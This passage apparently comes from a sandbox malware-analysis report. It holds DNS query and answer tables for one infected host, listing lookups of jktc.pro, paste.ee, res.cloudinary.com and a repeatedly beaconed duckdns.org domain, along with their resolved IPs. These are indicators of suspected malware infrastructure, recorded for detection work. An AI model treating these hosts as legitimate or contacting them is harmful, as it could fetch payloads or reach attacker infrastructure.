Dec 12, 2024 21:58:31.610738039 CET	65084	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:31.745074987 CET	53	65084	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:31.745301008 CET	65084	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:31.881545067 CET	53	65084	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:32.901976109 CET	63373	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:33.036295891 CET	53	63373	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:33.036611080 CET	63373	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:33.171475887 CET	53	63373	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:33.171734095 CET	63373	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:33.306916952 CET	53	63373	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:33.307246923 CET	63373	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:33.442409992 CET	53	63373	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:33.442609072 CET	63373	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:33.578231096 CET	53	63373	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:34.584345102 CET	56207	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:34.707426071 CET	53	56207	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:34.707631111 CET	56207	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:34.831351042 CET	53	56207	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:34.831558943 CET	56207	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:34.967348099 CET	53	56207	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:34.967576981 CET	56207	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:35.090682983 CET	53	56207	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:35.091007948 CET	56207	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:35.214900017 CET	53	56207	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:36.249454975 CET	51955	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:36.383817911 CET	53	51955	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:36.384076118 CET	51955	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:36.518735886 CET	53	51955	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:36.519074917 CET	51955	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:36.653402090 CET	53	51955	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:36.653851986 CET	51955	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:36.788898945 CET	53	51955	8.8.8.8	192.168.2.22
Dec 12, 2024 21:58:36.789206028 CET	51955	53	192.168.2.22	8.8.8.8
Dec 12, 2024 21:58:36.912003994 CET	53	51955	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 21:56:16.684292078 CET	192.168.2.22	8.8.8.8	0x73a7	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:20.718409061 CET	192.168.2.22	8.8.8.8	0x3a3c	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:20.962830067 CET	192.168.2.22	8.8.8.8	0x3a3c	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.085946083 CET	192.168.2.22	8.8.8.8	0x3a3c	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.220757008 CET	192.168.2.22	8.8.8.8	0x3a3c	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.084014893 CET	192.168.2.22	8.8.8.8	0xde6	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.339163065 CET	192.168.2.22	8.8.8.8	0x48e0	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:41.847995043 CET	192.168.2.22	8.8.8.8	0xed36	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.002985954 CET	192.168.2.22	8.8.8.8	0xed36	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.146493912 CET	192.168.2.22	8.8.8.8	0xed36	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.280937910 CET	192.168.2.22	8.8.8.8	0xed36	Standard query (0)	jktc.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:56.646086931 CET	192.168.2.22	8.8.8.8	0x473c	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:56.886492968 CET	192.168.2.22	8.8.8.8	0x473c	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.078533888 CET	192.168.2.22	8.8.8.8	0x2e4d	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.230029106 CET	192.168.2.22	8.8.8.8	0x3d02	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:00.174379110 CET	192.168.2.22	8.8.8.8	0x524	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:03.598740101 CET	192.168.2.22	8.8.8.8	0x94a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:07.027920961 CET	192.168.2.22	8.8.8.8	0xe3a3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:10.479293108 CET	192.168.2.22	8.8.8.8	0x1594	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.256710052 CET	192.168.2.22	8.8.8.8	0xa68a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.497868061 CET	192.168.2.22	8.8.8.8	0xa68a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.742012024 CET	192.168.2.22	8.8.8.8	0xa68a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.893949032 CET	192.168.2.22	8.8.8.8	0xa68a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.035480022 CET	192.168.2.22	8.8.8.8	0xa68a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.817940950 CET	192.168.2.22	8.8.8.8	0xe4cc	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:17.019359112 CET	192.168.2.22	8.8.8.8	0x7315	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:20.229475975 CET	192.168.2.22	8.8.8.8	0x85c7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:23.460988045 CET	192.168.2.22	8.8.8.8	0x25a4	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:26.899028063 CET	192.168.2.22	8.8.8.8	0x5b89	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:30.759613991 CET	192.168.2.22	8.8.8.8	0xed	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:34.065824032 CET	192.168.2.22	8.8.8.8	0xb66	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:37.264463902 CET	192.168.2.22	8.8.8.8	0x4ccf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:40.588416100 CET	192.168.2.22	8.8.8.8	0xe1fd	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:43.831525087 CET	192.168.2.22	8.8.8.8	0xb83a	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:47.236299992 CET	192.168.2.22	8.8.8.8	0x3f84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:50.447024107 CET	192.168.2.22	8.8.8.8	0x6be6	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:50.570980072 CET	192.168.2.22	8.8.8.8	0x6be6	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:53.939229012 CET	192.168.2.22	8.8.8.8	0x977	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:54.076220989 CET	192.168.2.22	8.8.8.8	0x977	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:57.366163015 CET	192.168.2.22	8.8.8.8	0x37bb	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:00.917043924 CET	192.168.2.22	8.8.8.8	0x1882	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:04.270315886 CET	192.168.2.22	8.8.8.8	0x8a7d	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:04.617054939 CET	192.168.2.22	8.8.8.8	0x8a7d	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:04.751725912 CET	192.168.2.22	8.8.8.8	0x8a7d	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:05.084865093 CET	192.168.2.22	8.8.8.8	0x8a7d	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:05.220128059 CET	192.168.2.22	8.8.8.8	0x8a7d	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.492765903 CET	192.168.2.22	8.8.8.8	0xa333	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.628499985 CET	192.168.2.22	8.8.8.8	0xa333	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.763530970 CET	192.168.2.22	8.8.8.8	0xa333	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.899732113 CET	192.168.2.22	8.8.8.8	0xa333	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:07.024518013 CET	192.168.2.22	8.8.8.8	0xa333	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.306859016 CET	192.168.2.22	8.8.8.8	0x9a84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.442574978 CET	192.168.2.22	8.8.8.8	0x9a84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.578182936 CET	192.168.2.22	8.8.8.8	0x9a84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.713161945 CET	192.168.2.22	8.8.8.8	0x9a84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.847826004 CET	192.168.2.22	8.8.8.8	0x9a84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.084893942 CET	192.168.2.22	8.8.8.8	0xacc9	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.219712019 CET	192.168.2.22	8.8.8.8	0xacc9	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.354778051 CET	192.168.2.22	8.8.8.8	0xacc9	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.489357948 CET	192.168.2.22	8.8.8.8	0xacc9	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.612766027 CET	192.168.2.22	8.8.8.8	0xacc9	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:11.848669052 CET	192.168.2.22	8.8.8.8	0xfced	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:11.974580050 CET	192.168.2.22	8.8.8.8	0xfced	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.110536098 CET	192.168.2.22	8.8.8.8	0xfced	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.443062067 CET	192.168.2.22	8.8.8.8	0xfced	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.577816010 CET	192.168.2.22	8.8.8.8	0xfced	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:13.821543932 CET	192.168.2.22	8.8.8.8	0x2c96	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:13.959242105 CET	192.168.2.22	8.8.8.8	0x2c96	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.083122015 CET	192.168.2.22	8.8.8.8	0x2c96	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.417978048 CET	192.168.2.22	8.8.8.8	0x2c96	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.562577009 CET	192.168.2.22	8.8.8.8	0x2c96	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:15.773523092 CET	192.168.2.22	8.8.8.8	0x24fe	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:15.913609982 CET	192.168.2.22	8.8.8.8	0x24fe	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.049582005 CET	192.168.2.22	8.8.8.8	0x24fe	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.190577030 CET	192.168.2.22	8.8.8.8	0x24fe	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.314124107 CET	192.168.2.22	8.8.8.8	0x24fe	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.515589952 CET	192.168.2.22	8.8.8.8	0xa8f2	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.646642923 CET	192.168.2.22	8.8.8.8	0xa8f2	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.784652948 CET	192.168.2.22	8.8.8.8	0xa8f2	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.908392906 CET	192.168.2.22	8.8.8.8	0xa8f2	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:18.046583891 CET	192.168.2.22	8.8.8.8	0xa8f2	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.231846094 CET	192.168.2.22	8.8.8.8	0xd193	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.366586924 CET	192.168.2.22	8.8.8.8	0xd193	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.502510071 CET	192.168.2.22	8.8.8.8	0xd193	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.625971079 CET	192.168.2.22	8.8.8.8	0xd193	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.760895014 CET	192.168.2.22	8.8.8.8	0xd193	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:20.917401075 CET	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.058645964 CET	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.196649075 CET	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.322596073 CET	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.460653067 CET	192.168.2.22	8.8.8.8	0xeebf	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.603545904 CET	192.168.2.22	8.8.8.8	0xbbd3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.727011919 CET	192.168.2.22	8.8.8.8	0xbbd3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.861777067 CET	192.168.2.22	8.8.8.8	0xbbd3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.999146938 CET	192.168.2.22	8.8.8.8	0xbbd3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:23.133907080 CET	192.168.2.22	8.8.8.8	0xbbd3	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.289073944 CET	192.168.2.22	8.8.8.8	0x9a52	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.622746944 CET	192.168.2.22	8.8.8.8	0x9a52	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.758174896 CET	192.168.2.22	8.8.8.8	0x9a52	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.893918991 CET	192.168.2.22	8.8.8.8	0x9a52	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:25.017438889 CET	192.168.2.22	8.8.8.8	0x9a52	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.160213947 CET	192.168.2.22	8.8.8.8	0x9c00	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.296065092 CET	192.168.2.22	8.8.8.8	0x9c00	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.420655012 CET	192.168.2.22	8.8.8.8	0x9c00	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.556107044 CET	192.168.2.22	8.8.8.8	0x9c00	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.691006899 CET	192.168.2.22	8.8.8.8	0x9c00	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:27.845264912 CET	192.168.2.22	8.8.8.8	0x89a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:27.980935097 CET	192.168.2.22	8.8.8.8	0x89a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.117530107 CET	192.168.2.22	8.8.8.8	0x89a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.253556967 CET	192.168.2.22	8.8.8.8	0x89a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.388961077 CET	192.168.2.22	8.8.8.8	0x89a7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.530009031 CET	192.168.2.22	8.8.8.8	0x37e7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.668756962 CET	192.168.2.22	8.8.8.8	0x37e7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.804819107 CET	192.168.2.22	8.8.8.8	0x37e7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.933779955 CET	192.168.2.22	8.8.8.8	0x37e7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:30.056982040 CET	192.168.2.22	8.8.8.8	0x37e7	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.198648930 CET	192.168.2.22	8.8.8.8	0x6528	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.335422039 CET	192.168.2.22	8.8.8.8	0x6528	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.470174074 CET	192.168.2.22	8.8.8.8	0x6528	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.610738039 CET	192.168.2.22	8.8.8.8	0x6528	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.745301008 CET	192.168.2.22	8.8.8.8	0x6528	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:32.901976109 CET	192.168.2.22	8.8.8.8	0x569c	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.036611080 CET	192.168.2.22	8.8.8.8	0x569c	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.171734095 CET	192.168.2.22	8.8.8.8	0x569c	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.307246923 CET	192.168.2.22	8.8.8.8	0x569c	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.442609072 CET	192.168.2.22	8.8.8.8	0x569c	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.584345102 CET	192.168.2.22	8.8.8.8	0xef9f	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.707631111 CET	192.168.2.22	8.8.8.8	0xef9f	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.831558943 CET	192.168.2.22	8.8.8.8	0xef9f	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.967576981 CET	192.168.2.22	8.8.8.8	0xef9f	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:35.091007948 CET	192.168.2.22	8.8.8.8	0xef9f	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.249454975 CET	192.168.2.22	8.8.8.8	0xdb84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.384076118 CET	192.168.2.22	8.8.8.8	0xdb84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.519074917 CET	192.168.2.22	8.8.8.8	0xdb84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.653851986 CET	192.168.2.22	8.8.8.8	0xdb84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.789206028 CET	192.168.2.22	8.8.8.8	0xdb84	Standard query (0)	newglobalfucntioninside.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 21:56:16.926089048 CET	8.8.8.8	192.168.2.22	0x73a7	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:16.926089048 CET	8.8.8.8	192.168.2.22	0x73a7	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:20.962194920 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:20.962194920 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.085675001 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.085675001 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.220483065 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.220483065 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.461421013 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:21.461421013 CET	8.8.8.8	192.168.2.22	0x3a3c	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.334849119 CET	8.8.8.8	192.168.2.22	0xde6	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:56:37.485471964 CET	8.8.8.8	192.168.2.22	0x48e0	No error (0)	res.cloudinary.com	cloudinary.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:56:37.485471964 CET	8.8.8.8	192.168.2.22	0x48e0	No error (0)	cloudinary.map.fastly.net		151.101.129.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.485471964 CET	8.8.8.8	192.168.2.22	0x48e0	No error (0)	cloudinary.map.fastly.net		151.101.65.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.485471964 CET	8.8.8.8	192.168.2.22	0x48e0	No error (0)	cloudinary.map.fastly.net		151.101.193.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:37.485471964 CET	8.8.8.8	192.168.2.22	0x48e0	No error (0)	cloudinary.map.fastly.net		151.101.1.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:41.982575893 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
